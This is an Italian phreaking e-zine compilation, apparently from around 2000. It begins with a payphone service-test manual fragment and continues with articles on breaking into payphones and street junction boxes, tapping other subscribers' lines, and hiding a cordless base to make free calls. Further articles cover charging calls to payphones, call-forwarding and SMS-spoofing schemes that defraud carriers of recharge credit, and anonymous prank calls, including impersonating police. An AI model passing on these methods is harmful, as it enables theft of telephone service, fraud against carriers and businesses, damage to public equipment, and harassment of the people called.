time-out che non abbia interessato il TEST 8, non determina l'azzeramento della
memoria dello storico sequenziale dei codici degli errori.

<TEST 9: RESET DEL LETTORE INTEGRATO>
Digitare "9". Sul display comparir… TEST 09 RESET LET.
Subito dopo viene visualizzato:
In prima riga: LETTORE INTEGRATO
In seconda riga: REL nn.nn gg/mm/aa
(REL....... = identificazione della release software)
Subito dopo sul display comparir… FINE TEST.
Questo test consente di mandare un reset al lettore integrato.

<TEST 10: VERIFICA INTERRUTTORE SPORTELLO>

Digitare "0". Sul display comparir… TEST 10 SPORTELLO e subito dopo in seconda riga lo stato dell'interruttore relativo allo sportello e cioŠ:
SPORTELLO APERTO
SPORTELLO CHIUSO
Per verificare il buon funzionamento dell'interruttore bisogna controllare la coerenza tra il messaggio sul display e lo stato dello sportello. Per uscire dal test premere un tasto qualsiasi; sul display in seconda riga comparir… il messaggio FINE TEST.

<TEST 11: INDICE DEI CODICI DI ERRORE>
Digitare "*". Sul display comparir… TEST 11 INDICE. In modo automatico e/o manuale pigiando un tasto saranno visualizzati in ordine crescente tutti i codici di errore in seconda riga, con la relativa descrizione sulla prima riga.

<TEST 12: AZZERAMENTO CONTATORI>
Digitare "#". Sul display comparir… TEST 12 AZZ.CONT. lampeggiante. Se si vogliono azzerare i contatori bisogna confermare l'operazione digitando nuovamente il tasto "#". Premendo un qualsiasi altro tasto si esce dal test senza azzerare i contatori. Sul display in seconda riga comparir… FINE TEST.

<<FINE TEST:>>
Se durante l'effettuazione della procedura di test fossero riscontrate delle anomalie esse saranno evidenziate con il relativo codice di errore. Se l'esito del test Š positivo, l'apparecchio Š pronto per entrare in servizio; pertanto si riporta il microswitch verso il basso (normale funzionamento) e si preme nuovamente il pulsante di reset.

In questo articolo vi introdurrò nella parte del phreaking più in voga in questo momento: il forcing!
Prima di tutto, preparate i cavi per le connessioni e le relative attrezzature...
#1 Telefono(Quelli che si trovano al Supermarket) al quale taglierete la spina e installerete delle giunture a vite
#1 Cavo   Plug-Telefonico/coccodrilli
#1 Cavo   Libero/Plug-Telefonico
#2 Cavi   Libero/coccodrilli
#2 Cavi   Giunture/giunture
NOTA: I plug telefonici sono necessari per una connessione con il modem, oppure nel caso il telefono abbia questa predisposizione.
Onde evitare spiacevoli inconvenienti, portatevi dietro il "Kit del phreaker modello": Pinze, saldatore a gas, nastro isolante, tester, stagno, cacciaviti, e qualche cavo sparso.

#Cabine Telekom (Rotor)
Ci sono diversi modi per crossare una cabina: forzandola, sfruttandola alla fonte, utilizzando una cabina in costruzione.

1)FORCING DELLA CABINA= Nel primo caso dobbiamo aprire la cabina (sembra facile!) e cercare uno scatolato che si trova in alto a centro-sinistra del Rotor. Come aprire la cabina? Questo è il punto più difficile del forcing, visto e considerato che le cabine sono super-corazzate per prevenire ogi tipo di attacco.
L'unica maniera è quella di usare un martello, uno scalpello, un piede di porco, e cominciare ad attaccare sistematicamente ogni fessura che riuscite a vedere…(Lasciate perdere la fessura di inserimento monete ed il restituisci-resto, sono inutili, forzando quei punti non si arriverebbe a nulla!)

Connettiamo i cavi in questo modo:

Codice	Funzione	Colore
S1	Servizio1	Giallo
S2	Servizio2	Nero
a	Voce1	Verde
b	Voce2	Rosso

ATTENZIONE!: Il codice a colori potrebbe variare a seconda dei comuni (In Italia nulla è standard!)
Io l'ho trovato così, voi pregate di avere la mia stessa situazione!

2)SFRUTTAMENTO DALLA FONTE= In questo caso bisogna aprire la gamba del telefono(Anche questa è un po' difficile da forzare, ma sicuramente più semplice di quella del Rotor), e cercare i fili che andrebbero allo scatolato descritto in precedenza. In questo caso ci viene in aiuto il cavo con i coccodrilli o con le giunture. I codici di connessione sono gli stessi del precedente.

3)CABINA IN COSTRUZIONE= Il sogno proibito di ogni phreaker....trovare una cabina in

costruzione! basta che riconoscete i colori(Vedi la tabella sopra) e collegate i fili al telefono! (Questa ipotesi non si avvererà quasi mai, ma basta che ne trovate una e vi sfizierete per molto tempo! Richiedete al vostro comune l'inserimento di una cabina telefonica nel parco giochi che avete a 50 metri da casa!)

Se disponete di connessioni tramite Plug-Telefonici Dovete seguire questo schema:

```
 _________
| * * * * |  G= Giallo
| G V R N |  V= Verde
|__     __|  R= Rosso
   |___|     N= Nero
```

#Centrali Telekom
Questo tipo di forcing si può rivelare più semplice di quelli descritti in precedenza, ma sono necessari molti giorni di appostamenti prima di agire.
Le Centrali Telekom (D'ora in poi centraline) si possono suddividere in altri 3 gruppi, diversi sia per grandezza, che per numero di linee interne.
#In ordine di grandezza#
1) Centralina situata a ridosso delle Cabine Telekom (Rotor) che, ovviamente controllano la linea della cabina stessa! (Se avete una cbina isolata non lontano da casa è la migliore da attaccare)
2) Centralina che si trova vicino ad edifici civili, discretamente piccole, che non raccolgono più di 15 Linee
3) E' una centrale maestosa, alta circa due metri, che raccolgono un macello di linee, di solito situate in nodi principali delle località, o comunque in posti dove occorre controllare una grande mole di linee.

Il consiglio che io vi do, quando cercherete di crossare una centralina, è quello di collegarvi su di una linea di servizio TELEKOM (La fonte di questa linea è facilmente riconoscibile, in quanto da lì partono tutte le altre linee…), ma non collegatevi a danno di poveri cittadini (salvo che siano vostri professori e/o vi stiano tremendamente sul kazzo! ;))
Quando vi troverete lì davanti potrete fare di tutto… intanto scegliete la linea "vittima": ovviamente avete bisogno di una linea funzionante e libera. Per controllare una linea libera bisogna usare il tester; normalmente il tester rimarrà stabile (Sia come Voltaggio che come Amperaggio) fino a quando non impazzirà per alcuni secondi: in questo caso avete acciuffato una linea di un utente che aveva fatto una telefonata oppure ne aveva ricevuta una.
Altra cosa utilissima e MOLTO conveniente è quella di REINDIRIZZARE le telefonate fatte dal vostro apparecchio verso un'altra linea tramite un ponticello fatto da voi con i cavi a coccodrilli. La cosa è molto complicata, in quanto è difficilissimo ritrovare la propria linea in una centralina, ma è possibile e soprattutto conveniente con un po' di pazienza!!!!!
Per aprire la centralina occorre un po' di ingegno…nel peggiore dei casi si può ritornare al metodo degli IHC con la polvere da sparo oppure con la Fiamma Ossidrica… io forse ho avuto più culo di loro, ma sono riuscito ad aprire una centrale semplicemente eliminando i rivetti della serratura, per poi reinstallarli nuovi nella posizione originale…
Per mantenere il comando della centralina 24 ore su 24 senza morire di paranoie "Perché se passa un tecnico mi sgama" si può utilizzare un ottimo metodo.
E' molto semplice, ma occorre che la centralina non stia troppo attaccata al muro. Proverò a facilitarmi la spiegazione con un disegnino in ASCII (vi avverto non sono Leonardo!!!!)

```
   #VISTA FRONTALE#          #VISTA LATERALE#
   ____________________        _____  ____________
  |Linea Telekom(a)  |      |     \| Linea     |
  |        ^        |      |    /| Telekom(a)|
  |           __|__             |      |     \|  ___      |
  |          |       |  |      |       |     /| |   |     |
  |          |       |  +----) |       |     \| |   +--)  |
  |     |__|__|      | |       |PORTA/| |___|  |  |
  |                        | |       |     \|       |  |
  |                        | |       |     /|       |  |
  |                        | |       |     \|       |  |
  |                        | |       |     /|       |  |
  |                        | |       |     \|       |  |
  |               @ |       |     /|        (--@------)
  |____________________|       |_____\|____________|    __|__Basetta interrata
```

@ = Foro da creare sul retro della centralina per facilitare passaggio nascosto per i cavi, destinati alla base interrata di un cordless. Potrete sfruttare questo metodo in due varianti:
La variante telefonica (Descritta sotto, con l'utilizzo di un cordless)
La variante internet (Interfaccia modem-cordless, che, salvo ripensamenti, descriverò nel 2° numero dell' E-Zine)

#IL CELLULARE GRATIS#
Materiali:
1 cordless (Anche non omologato va bene, di quelli che non costano più di 30karte)
4 Batterie 12V 40 ampere/ora (Quelle della macchina)
15mt. di cavo telefonico
Collegate il cavo ai cavi della cabina/centralina "Vittima", collegate l'altra estremità al telefono, interrate cavo e base(alimentata con le 4 batterie disposte in serie) e avrete un cellulare con una autonomia di 300mt dalla base. Questo cellulare, salvo l'introduzione di una piccola manovra logistica, può SOLAMENTE (dici poco! ;-)) fare telefonate, senza riceverle… chi non vuole togliersi questo piacere (in effetti un telefono in ricezione NON controllato fa sempre comodo! A buon intenditor…) Basta possedere un cellulare e fare una telefonata dal vostro cordless verso il cellulare: se avete culo il cellulare dovrà mostrare il numero del mittente e…voilà! Ora conoscete il numero del vostro Hacked-Cordless! (Con molti cellulari purtroppo 'sta faccenda non funge, peccato :-( )

L'Articolo è terminato, un piccolo resoconto sui tipi di forcing…spero di avervi soddisfatto ed alla prossima!!

Come tutti saprete non è affatto sicuro parlare al telefono perchè qualsiasi deficente
puo ascoltare le nostre telefonate... Saprete anche che in italia le interurbane
(e non solo) sono tra le piu costose del mondo (azz!).

Ebbene oggi grazie a internet si possono risolvere questi 2 problemi, cioè parlare
senza permettere a un terzo di ascoltarci e pagare una telefonata urbana invece di
un'interurbana (wow!). Questo è reso possibile da alcuni programmi che crittano le
telefonate (utilizzando anche una crittazione piuttosto robusta) e che permettono di
parlare con una persona dall'altra parte della terra passando per il proprio provider.

Naturalmente anche l'altra persona deve entrare in internet per riuscire a parlare con
voi pagando un'urbana.. Mentre per crittare solamente la telefonata si puo fare una
connessione dial-up tra i due modem (uno chiama e l'altro aspetta la chiamata). Se dovete
fare una connessione urbana i vantaggi della connessione diretta sono: in internet la
velocità di connessione (a meno che non abbiate una connessione ISDN.. =) calerà parecchio
dato il traffico che c'è in rete, con una connessione diretta una sola persona paga mentre
nella connessione che passa per internet entrambe le persone pagano.

Questo tipo di comunicazione pero è piuttosto scomoda anche se offre una quasi totale
sicurezza, sia per il fatto che entrambe le persone devono avere il modem, sia per il
fatto che la connessione molte volte quando si critta il tutto risulta piuttosto lenta e
che in alternativa bisogna parlare in uno alla volta e passare all'altro tutte le volte
che si ha finito. Io a questo punto preferisco far ascoltare le telefonate se non ho nulla
da nascondere e se ho qualcosa da nascondere non dirla via telefono. Certo se avete degli
amici che abitano in inghilterra e volete fare lunghe chiacchierate con loro(come nel mio
caso ;o) - magari senza crittare la telefonata - questi programmi sono l'ideale.

Prima dicevo: quasi totale. Voi allora potreste chiedervi: ma non c'è una totale sicurezza?
Beh in effetti, facendo i pignoli, se qualcuno è DAVVERO interessato alla nostra telefonata
ed è davvero determinato allora potrebbe farcela..
Ad esempio potrebbe riuscire ad avere la chiave della crittazione o potrebbe registrare il
tutto e decrittarlo in seguito . Cmq gente non preoccupativi c'è una possibilita su cento
che ci riesca ;PP. Comunque è giusto che sappiate che un possibilita c'è..

A questo punto credo vogliate provare qualche programma ;oD
Qui sotto ecco due progs tra i piu noti e il rispettivo url (P.S di entrambi sono
disponibili i sorgenti)

Nautilus http://www.lila.com/nautilus
Speak Freely http://www.fourmilab.ch/speakfree/windows

Questi programmi sono considerati dal governo americano come un' ARMA, infatti è vietata
l'esportazione dagli stati uniti ! Se vi trovate davanti a un programma del genere messo a
disposizione da un server statunitense, non si puo scaricare. Cmq non preoccupatevi dai link

che vi ho elencato si possono scaricare tranquillamente ;-D.

Ora vi spieghero brevemente le caratteristiche di questi due progs..

Speak freely è disponibile sia per window (3.1,95,98,NT) sia per sistemi unix. Per fare
girare questo progs è necessario un 486, un modem a 14.400, una scheda audio e un microfono.
Con questo progs è anche possibile parlare con piu persone contemporaneamente (weoowo!)
E' anche facile da usare e quindi lo consiglio ai neofiti (come me!)

Nautilus è il progs che preferisco. Le richieste hardware sono molto meno esose (un 386
con un modem a 7.200) - come se Speak freely chiedesse un computer di ultima generazione
ehehhe - e inoltre dispone di un protocollo di compressione piu avanzato rispetto a Speak
freely.. Nautilus gira sia sui personal computer - con linux, msdos o solaris X86 - sia su
una Sun Sparctation (Solaris o SunOS). Sconsiglio di farlo girare su winz... E' un po piu
tosto da utilizzare rispetto a Speak freely perchè non dispone di un'interfaccia grafica..

Ciauz ! Spero che questo piccolo articolo sia servito a qualcosa !

COME LEGGERE I MESSAGGI GRATIS CON GLI OMNITEL

>INTRODUZIONE (di COSA? e soprattutto DOVE???)<
Molti di voi forse sanno che e' possibile ricevere messaggi sul proprio
telefonino inviati via Internet spedendo la lettera ad una sorta di E-MAIL
fornita al proprietario del cellulare (attivando il tutto con una "CARTA
SERVIZI" da 10.000 Lirozze). Infatti se voi avete un cellulare Omnitel col
nø 0347666123666 possedete anche questa E-mail: 0347666123666@mail.omnitel.it
Percio' voi potete spedire lettere a questa e-mail e il proprietario potra'
leggerle (pagando 200 lire per ogni messaggio letto) sul suo telefonino.
Quindi, se vuoi leggere le lettere sei costretto a pagare.

>SPIEGAZIONE DEL METODO<
Ora la cosa 'buffa' e' che leggere l'oggetto (subject - in inglese) non costa
niente. Il modo per mandare messaggi e farli leggere gratis al destinatario
consiste semplicemente nel scrivere questi messaggi DIRETTAMENTE nell'oggetto
(grande invenzione l'oggetto!).
Durante le lunghe prove fatte tra me ed Alcor (autore di questa 'scoperta')
ci siamo resi conto (sinceramente abbastanza in fretta) che QUANDO SCRIVI
la lettera da spedire l'Oggetto puo' essere lungo fino ad 80 caratteri, ma
poi riesci a leggerne (nel cellulare) solo 27. Questo problema e' in realta'
poco grave dato che basta dividere il messaggio in un paio di lettere ed il
gioco e' fatto. Wow.

P.S. Ovviamente conviene spedire SMS GRATIS via-Internet. Comunque, se uno di
questi siti [che offrono questo 'servizio'] e' momentaneamente OUT sapete
come mandare il vostro buffo messaggio.
-_-

COME ALIMENTARE UN ROTOR

Qui non spiego come collegare un lettore schede tipo rotor al pc, ma spiego come alimentarlo per eventuali usi (ed abusi)!!!

Innanzi tutto voglio dire che le persone che prendono un rotor ogni week-end quando vanno in montagna commettono solo un atto di vandalismo.
Il rotor e' un piccolo stupefacente miscuglio di tecnica e ingegneria.
I rotor vengono fabbricati dalla urmet, che ha due sedi principali, una a Roma ed una a Milano. Il lettore rotor non e' in vendita e quindi l'unico modo per prenderlo e' andare su una cabina telefonica e usare mezzi pesanti oppure (come è successo una volta a me) aprire lo sportello di un auto telecom la vigilia di natale 1999 alle ore 16 circa e prendere uno scatolone, andare a casa, aprirlo e rimanere stupiti di aver trovato un rotor col manuale d'uso e i modi per interfacciarlo al resto della cabina (io di lettori rotor ne ho 3).

Quel piccolo manuale mi e' stato d'aiuto a risolvere molti problemi che non riuscivo a risolvere (che vedremo in seguito). Di lettori rotor che io conosca ne esistono tre tipi, la differenza non e' grande, cambia solo la data di fabbricazione e qualche dettaglio tecnico irrilevante. I primi tipi di rotor hanno il motorino cilindrico schiacciato di colore nero e blu scuro, i secondi tipi di rotor hanno il motorino cilindrico nero con la punta rossa (io prendo in considerazione quelli).

Il motorino e' la parte cilindrica piu' grande che spunta dalla base verso sinistra del rotor (sui primi tipi in alto a destra). C'e' una specie di punta rossa, come un coperchio, che spunta e si nota alla fine del cilindro, voi staccate quello e vedrete che ci sono due cavi di alimentazione, rispettivo negativo e positivo (vedete di non sbagliare ad attaccare i cavi o rischiate di fondere la scheda del rotor).
Ora andate nella ferramenta di fiducia e comprate un alimentatore da 6 volt (o da 9 per il primo tipo). Prendete i cavi dal motorino e staccateli, al loro posto collegateci i due cavi dell'alimentatore in modo di non errare i poli.

Ora attaccate l'alimentatore alla presa e con grande sorpresa vedrete che si accenderà il led rosso che segnalera' il test per vedere se si e' collegati alla linea di trasmissione, qui vi dara' "errore" visto che non e' collegato da nessuna parte.

L'adattatore e' 10 25 pin (la mia com 1 e' da 25 pin e il rotor ha 10 pin), la costruzione e' difficile e la spieghero' piu' avanti.

COME FARE UNA CHIAMATA CON ADDEBITO ALLA CABINA

Bene, ecco un sistema un po' complicato, forse più fastidioso, di
telefonare gratis dalle cabine pubbliche.
Dunque, esiste il servizio di addebito al ricevente, e se il ricevente
fosse la cabina telefonica?
Si, questo è fattibile, ci sono riuscito però a queste condizioni :
uno, deve essere una telefonata interurbana, altrimenti il servizio
non funziona, due bisogna conoscere il numero di telefono della cabina
pubblica, si tratta di un numero normale ma che non compare
nell'elenco telefonico. Io l'ho trovato di fortuna.
Funzionamento del servizio:
Allora, uno da casa chiama il 1795 per addebito al destinatario,
purtroppo il 1795 non funziona dagli apparecchi pubblici, e dice il
numero di tel che vuole chiamare con addebito (numero della cabina) ;
l'altra persona riceve la telefonata (che in teoria gli verrebbe
addebitata..ma..) alla cabina pubblica, senza uso di alcuna scheda tel
o spiccioli, risponde al suono mettallicom, quasi impercettibile
(purtroppo non c'è suoneria!) e parla con l'operatore il quale chiede
conferma dell'addebito..si dice di si.. e l'operatore ci mette in
comunicazione con l'altro.. il gioco e' fatto!
Avvertenze : Non ho la più pallida idea di se e come la telecom
cotrolli le cabine pubbliche e gli scatti "anomali". Poi dovete
trovare il numero della cabina! Non è cosa da poco! Vi consiglio di
armarvi di pazienza, prendete la guida telefonica e fatevi un database
con i numeri di tel della vostra zona, esempio il vostro numero inizia
con 54..fate una cernita dei numeri che iniziano con 54...tra quelli
che mancano all'ordine progressivo, di sicuro ci sono quelli delle
cabine pubbliche della vostra zona!

COME FARE TELEFONATE ANONIME

Titolo: come fare chiamate anonime da fisso, cellulare, cabina.
Autore: Screener_it
email: screener_it@freemail.it
web site: http://go.to/tankcommandos

Ogni riferimento a cose, fatti, persone, avvenimenti, sono frutto di
pura fantasia.
Il testo deve intendersi a scopo esclusivamente informativo (io non
vi invito a fare cazzate.. Anzi !!)

/\
+++
\/

Oggi parleremo di chiamate anonime amici !!!
Chi di voi non ha mai fatto scherzi telefonici ? Sono divertenti, fanno
crepare dal ridere e se fatte bene sono qualcosa di unico..
Tanto per farvi un esempio, un paio di settimane fa ero a casa mia che guardavo
insieme a un po' di miei amici (20 persone !!) la partita Inter - Juve.
Lasciamo stare la partita, di quella non voglio parlare.
Dicevamo, stavamo guardando la partita e nell'intervallo ci è venuta un'idea !!
Chiamare a casa di un nostro amico [che chiameremo C.] (a cui i carabinieri avevano messo in fermo amministrativo l'Ape) e fargli un bello scherzo.
Però bisogna restare seri e tranquilli. Quindi lo faccio io.
Prendo il cellulare e chiamo casa di questo povero pirla.
Ecco la chiamata: (le * sono messe per la privacy)
P.= padre del C.
S.= Screener_it

P.: Pronto ?
S.: Pronto ? Famiglia *** ?
P.: Sì, chi parla ?
S.: E' la caserma dei carabinieri di ****. Posso parlare con il signor C. ?
P.: No, adesso non c'è. Ci sono problemi per caso ?
S.: Sì, a dir la verità un problema c'è. Qui mi risulta che il suo mezzo, mi pare sia [adesso rumore di fogli per fare finta che stai rovistando nei documenti] un'Ape è stata messa in fermo amministrativo. Sbaglio ?
P.: No, no, ha ragione.
S.: E mi risulta che lei ha firmato per tenere il mezzo suddetto presso la vostra abitazione. E' esatto ? Se mi sbaglio mi corregga pure.
P.: No, no, è tutto giusto.
S.: Bene, ci risulta che oggi l'Ape è stata vista girare per il paese con 2 persone a bordo.
P.: No, è impossibile. L'Ape è sempre restata qua a casa !!!
S.: Il numero di targa è 44WWW ? (al posto di 44WWW mettete la targa vera).
P.: Sì.
S.: Senta, non mi prenda in giro !! E' sicuro che l'Ape non si sia mossa ?

P.: Certo, certo. Almeno.. Cioè io non l'ho tenuta sotto controllo del tutto.. Forse il ragazzo..
S.: Calmo, calmo. Forse ci stiamo sbagliando noi. Controllerò di nuovo e la richiamerò più tardi per eventuali aggiornamenti, va bene ?
P.: Sì, grazie, grazie davvero. Guardi, appena torna il C. gli faccio un culo se ha usato l'Ape..
S.: Forse non serve usare la violenza, vedremo di risolvere la questione. Le ricordo comunque che in caso chi risponde penalmente è lei !! Arrivederci !!

Tutti in giro a me erano per terra a ridere a crepapelle, ma io ero riuscito a mantenere la calma.
Basta che facciate una voce seria e impostata. Non tentate di modificarla, vi beccherebbero subito.
Calma e sangue freddo e tutto filerà per il verso giusto.
Dopo ho fatto un'altra chiamata al padre dicendo che era tutto uno scherzo, altrimenti quello il C. lo pestava a sangue.

Dicevamo delle telefonate anonime. Se facevo uno scherzo del genere e chi riceveva la telefonata aveva il temuto "Chi é" della Telecom si trovava con il mio bel numero e rischiavo di trovarmi il padre di questo qui a casa con una spranga e (nella peggiore delle ipotesi) una denuncia per essermi spacciato per un carabiniere.

Come fare allora a fare scherzi telefonici senza essere beccati ? Semplice, basta anonimizzare la chiamata.
I metodi si differenziano se usate un telefono fisso (tipo quello di casa), il cellulare o una cabina telefonica.

/\
1.- Telefono fisso
\/

L'ho scoperto di recente.. Cmq funziona alla stragrande.
Cominciamo che il sistema "manuale" è gratuito. Che è già un bel dire.
Comunque basta anteporre al numero da chiamare *67# oppure 1793.
Come oppure ? Funzionano entrambi, li ho messi entrambi perchè non tutti i telefoni (tipo il mio cordless vecchio preistorico) accettano come primo numero la *.
Un altro motivo è che se volete chiamare il vostro provider non potete anteporre *67#, perchè il computer non li riconosce. Anteponete 1793.
Per chi non avesse capito il funzionamento:
mettiamo per esempio che vogliate chiamare il numero 02 123456 (numero a caso).
Se volete fare in modo che non appaia il vostro numero basta digitare *67#0212345
Capito adesso ?
Questo sistema si chiama (testualmente) Blocco Identificativo del Chiamante (sigla BIC).
Anteporre però ogni volta il *67# è però un po' pesante se si vuole usare sempre.
Potete (a pagamento) avere il BIC permanente, così facendo TUTTE le chiamate in uscita dal vostro telefono di rete fissa saranno anonime. Per avere il BIC permanete dovete fare richiesta per iscritto alla Telecom (per maggiori informazioni telefonate a quelle belle troie del 187).

NOTIZIA PURAMENTE TEORICA: quando scrivo adesso è solo una mia pazza idea.. Vi siete accorti che adesso sulle bollette appaiono anche il numero di chiamate fatte in rete urbana, extraurbana, verso mobili, ecc.. (se c'era anche prima non so, me ne sono accorto adesso, dopo che i miei mi hanno sbattutto in faccia la bolletta !!).
Ora.. Dato che mi sono trovato la ragazza (ciao Marina !!)[e l'ho già persa, se è per quello !!] e che la chiamo praticamente tutti i giorni sul cellulare per min. 15 minuti quando arriva la bolletta e i miei vedono 40 telefonate a mobile mi fanno il culo !! (o lo fanno a mia sorella, che è meglio !!).

Non è che magari con quel *67# sulla bolletta non risulta che è una chiamata al cellulare, ma che è una semplice urbana ? Chi ha notizie in merito mi mandi una mail !!!

/\
2.- Telefono cellulare
\/

Questo sistema invece è vecchio come il mondo. (meglio, vecchio come la diffusione del cellulare o quasi.)
L'Italia (notizia di pochi giorni fa) è tra i paesi con la più alta presenza in percentuale di cellulari.
Praticamente tutti ce l'hanno (se l'è comprato pure la mia nonnina !!).
E volete farmi credere che non fate mai scherzi (dal classico squillo alle minacce di morte via SMS).
Qui però la faccenda è più seria. Infatti TUTTI i cellulari hanno già in sè l'identificativo del chiamante. In questo modo appena voi chiamate sul display (che bella 'sta parola !!) del telefonino appare il vostro bel numero.
Un po' scocciante non vi pare ? Ma c'è rimedio a tutto !!! Per i cellulari infatti cambiando i codici da anteporre al numero, ma l'essenza resta quella !!!
Basta mettere davanti al numero il famoso #31# e il gioco è fatto.
Esempio (x i più celebrolesi):
Volete chiamare lo 0338 1111111 ma volete restare anonimi ? Digitate #31#03381111111 e il telefonino che riceve la chiamata al posto del vostro numero scriverà Anonimo !!! STUPENDO !!!

DUBBIO: non è che magari 'sto sistema di anteporre il #31# funziona anche con gli SMS ?
No, ho provato sul mio cellulare Tim e mi risponde dicendo che è impossibile inviare msg al numero di destinazione se preceduto dal #31#
Se sapete come spedire SMS da cellulare in modo anonimo speditemi una mail.

/\
3.- Cabine telefoniche
\/

Scrivo questa parte solo per un paio di miei amici, che sono furbi come.. Và, non dico quanto sono furbi xchè se no mi sbattono fuori dalla compagnia (e dopo con chi faccio la "bala" ?)
Allora, era inverno, gennaio ed era il giorno della festa del mio compleanno. Faccio la festa a casa mia. I miei non c'erano, quindi l'alcool girava come fosse acqua. A mezzanotte eravamo tutti ubriachi.
Uno dei miei amici (che x rispetto alla privacy chiameremo R.) era insieme a Ch.
A un certo punto della serata si mollano, xchè lei gli aveva fatto i corni. Tralasciamo il fatto che lui ha tentato di pestarla, sorvoliamo sul fatto che lui le abbia tirato il portafoglio urlando:"Le troie le va pagade.. To' stronza !! E adesso deme la bira che devo purificarme !!"
Vabbè, come dicevo sorvoliamo.
Alla fine della festa vanno tutti a casa, io vado a dormire dai miei zii (i miei non c'erano e dovevo stare a dormire da loro). Dall'ubriaco che ero mi butto vestito sul letto, non spengo nemmeno il cellulare e mi addormento.
Questi miei amici intanto vanno a una cabina telefonica e cominciano (all'una di notte !!!!) a chiamare a casa di Ch.
Uno le grida dentro "troia", l'altro "dona del comun", un altro (dato che aveva risposto il padre) urla "To fiola l'è 'na pompinara !!".
Intanto C. continua a scrivermi SMS sul cellulare chiedendo chi era che chiamava e se lo sapevo dovevo dirgli di smetterla, altrimenti suo padre..

Purtroppo io non ero in condizione nè di sentire il cellulare che squillava, nè di rispondere agli SMS.
Il giorno dopo effettivamente il padre di Ch. ci cercava (con la spranga !!!!!!) per "chiarire le idee" a chi era stato a fare lo scherzo. Gli scemi confessano tutto e tentano di farsi scusare. Il padre (che è un bel bestione, avverto tutti !!) per fortuna li scusa..

Ma perchè vi ho raccontanto tutta 'sta storia ? Per farvi un esempio di come farla pagare a chi vi fà le corna ? No, per un altro motivo.
Questi miei amici sono stati scemi perchè TUTTE LE CHIAMATE EFFETTUATE DA UNA CABINA TELEFONICA RISULTANO ANONIME, pertanto nessuno poteva risalire a loro..
Almeno con i mezzi tradizionali.
Potevano tranquillamente dire che non erano stati loro e nessuno poteva dire niente !!!
Avete capito quindi ? Se chiamate da una cabina telefonica chi riceve la telefonata si troverà davanti a un numero ANONIMO !!!

COME RENDERE IL PROPRIO NUMERO DI CELLULARE PROVVISORIAMENTE INESISTENTE

>>>BY MASTERTHIEF<<<

^^

*Per leggere bene il testo impostare con notepad la funzione "a capo automatico" e allargate il notepad a tutto schermo.
-Disclaimer:(non credo che serva in questa guida cmq..)Tutte le informazioni riportate nel seguente testo sono a puro e semplice scopo informativo,pertanto l'autore del testo non potrà essere tenuto responsabile di un eventuale utilizzo per scopi illegali-
....
Questo semplicissimo trucchetto l'ho scoperto già un anno fa giocando con il mio cellulare..pensavo che da li a poco sarebbe comparso su qualche cook book (come è successo con il trucco x ascoltare le segreterie) ma niente:).
Premetto che fin'ora ho potuto provarlo solo su un omnitel,ma credo che non vi siano problemi anche per chi usa tim,wind o blu.
Quante volte vi sarà capitato di aver dato il numero di cellulare a qualche rompiscatole che vi chiama 20 volta al giorno:) ?
Bene con questo semplice trucchetto quando il rompiscatole proverà a chiamarvi risponderà la vocina della omnitelz che dirà "Attenzione il numero da lei digitato è inseistente" .
Per capire come fare tutto ciò vediamo come funzione la segreteria telefonica dei cellulari:
Quando voi impostate la segreteria telefonica del menu del cellulare normalmente mettete un numero che viene indicato dall'operatore e cosa accade?
la stessa code che avviente nel trasferimento di chiamata..cioè la chiamata ricevuta viene deviata verso quest'altro numero dove risponderà la segreteria...avete già capito il trucchetto??? :)
Il trucco è molto semplice...basta che mettiate al posto del numero che vi da l'operatore un numero inesistente ed ecco che la chiamata del rompiscatole verra deviata verso quel numero che risulterà inesistente.semplice no? :-)
Schemino riassuntivo

Rompiscatole--chiama -->nostro Cellulare--trasferimento--->num inesistente

Uguale a:
Rompiscatole --chiama---> num.inesistente :)

RICARICARE IL CELLULARE CON IL TRASFERIMENTO DI CHIAMATA

Un altro metodo è il trasferimento di chiamata applicato al cellulare.. 'Spetta che spiego meglio !!
Premetto che questo metodo l'abbiamo inventato io e XXXXX (scusa ma non ricordo proprio il tuo nick nè riesco a trovare il log della nostra discussione su #Phreak.it).
Testato su cellulari TIM con l'opzione AUTORICARICA 190, per gli Omnitel e Wind non và.
Dunque.. Il trucco del trasferimento di chiamata lo conoscete (chi non lo conosce vada nella sez. TESTI DEGLI ALTRI del sito del Tank Commandos e troverà il testo "Truffa telefonica con il trasferimento di chiamata").
L'unica cosa che dovete cambiare è che come numero di destinazione metterete il numero del vostro cellulare.
Ogni chiamata che sarà fatta al bar vi verrà trasferita al cellulare e per ogni minuto di telefonata riceverete mi pare 70 £ che non è male.. Quando vi chiamano chiedendovi se siete il tal barista dite che la sua linea deve avere qualche problema xkè continuate a ricevere voi le chiamate dirette a lui e non riuscite a spiegarvene il perchè.
Se vi chiedono chi siete mi pare logico che darete dati falsi e dite che abitate in paesi lontani (se vi chiamano da Verona dite che siete di Milano, ecc..).

C'è poi il metodo di MYGSMBOX.com che mi è venuto in mente qui in Irlanda ma devo ancora testarlo.
Come ben sapete (e chi non lo sa lo saprà adesso) spedendo i messaggi SMS con MYGSMBOX.com potete fare in modo che come numero del mittente appaia qualsiasi numero di cellulare vogliate, al contrario ad esempio di Kataweb, iol.it, ecc.. che mettono come numero di origine numeri standard come 2424 o altro, adesso non mi ricordo con precisione..
Cmq iscrivetevi a MYGSMBOX.com e mettete con numero del vostro cellulare un qualsiasi numero TIM (033X XXX XXXX) e poi, sempre ammesso che abbiate attivo il servizio di AUTORICARICA 190, speditevi i messaggini e ricaricatevi di 25£ per ogni messaggio.

L'ultimo consiglio che posso darvi per ricaricarvi il cellulare nel modo + legale il possibile (non siamo mica ladri approfittatori noi, quella della TIM però sì !!) è andare su http://216.221.175.58/cgi-bin/affiliate/ad.cgi?id=tank e poi cliccare sui banner "Clicca qui e ricaricati il cellulare". Quest'ultimo trucco "supporta" finanziariamente Screener_it, quindi se volete che continuo a scrivere gli articoli vedete di visitarlo in tanti e per tante volte !!!

_.-^-._.-^-._.-^-._.-^-._.-^-.->Indice<-.-^-._.-^-._.-^-._.-^-._.-^-._.-^-.

_.-^-._.-^-._.-^-._.-^-._.-^-.->Introduzione<-.-^-._.-^-._.-^-._.-^-._.-^-.

Eccoci qua, dopo aver sorbito 30 minuti di televendite piene di asma e di
piega flash che poi vi regalano a sole 99 karte 1 pc multimediale ibm
compatibile che verr… installato solo per le prime 50 chiamate non da un
rivenditore, non da un tekniko, bens da Fiorello (con gli adesivi della
Infostrada) che parler… per ore e ore con la famosa Loredana al telefono
chiedendo cosa se ne deve fare del cd per l'abbonamento Libero (glielo dico
io cosa se ne deve fare, di quel cd... DOVREBBE FICCARSELO NEL CULO!!!!
